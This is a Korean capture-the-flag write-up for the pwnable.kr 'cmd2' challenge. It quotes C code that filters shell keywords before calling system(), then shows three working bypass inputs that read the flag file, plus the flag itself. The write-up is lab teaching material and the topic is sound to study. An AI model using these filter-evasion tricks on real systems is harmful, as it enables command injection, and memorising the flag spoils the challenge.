Wargame & CTF/pwnableKR
Toddler(cmd2)
g.s.song
2023. 11. 27. 13:09
문제
Daddy bought me a system command shell. but he put some filters to prevent me from playing with it without his permission... but I wanna play anytime I want!
ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)
풀이
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}
extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}
int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;
}
기존의 cmd1에서 사용했던 방법이 전부 통하지 않는 것을 알 수 있습니다. 하지만 와일드 카드는 이용할 수 있는 것을 알 수 있습니다. system()
함수를 사용하므로 명령을 실행 할 때 sh
를 사용할 것입니다. man page를 읽으며 도움이 될만한 지식을 찾던 중 다음과 같은 글을 발견했습니다.
command [-pVv] command [arg ...]
Run command with args suppressing the normal shell function
lookup. Only builtin commands or commands found in the PATH are
executed. If the -p option is given, the search for command is
performed using a default value for PATH that is guaranteed to
find all of the standard utilities. If either the -V or -v
option is supplied, a description of command is printed. The -v
option causes a single word indicating the command or file name
used to invoke command to be displayed; the -V option produces a
more verbose description. If the -V or -v option is supplied,
the exit status is 0 if command was found, and 1 if not. If
neither option is supplied and an error occurred or command
cannot be found, the exit status is 127. Otherwise, the exit
status of the command builtin is the exit status of command.
이를 바탕으로 -p 옵션과 command를 사용하여 다음과 같이 exploit code 구현이 가능합니다.
cmd2@ubuntu:~$ ./cmd2 "command -p cat fla*"
command -p cat fla*
FuN_w1th_5h3ll_v4riabl3s_haha
다른 풀이 방법을 검색한 결과 8진수를 이용하여 슬래시(/)를 우회하는 방법이 존재했습니다.
cmd2@ubuntu:~$ ./cmd2 '$(echo "\57")bin$(echo "\57")cat fla*'
$(echo "\57")bin$(echo "\57")cat fla*
FuN_w1th_5h3ll_v4riabl3s_haha
또한 read를 이용하는 방법도 있습니다.
cmd2@ubuntu:~$ ./cmd2 "read deadbeef;\$deadbeef"
read deadbeef;$deadbeef
/bin/cat flag
FuN_w1th_5h3ll_v4riabl3s_haha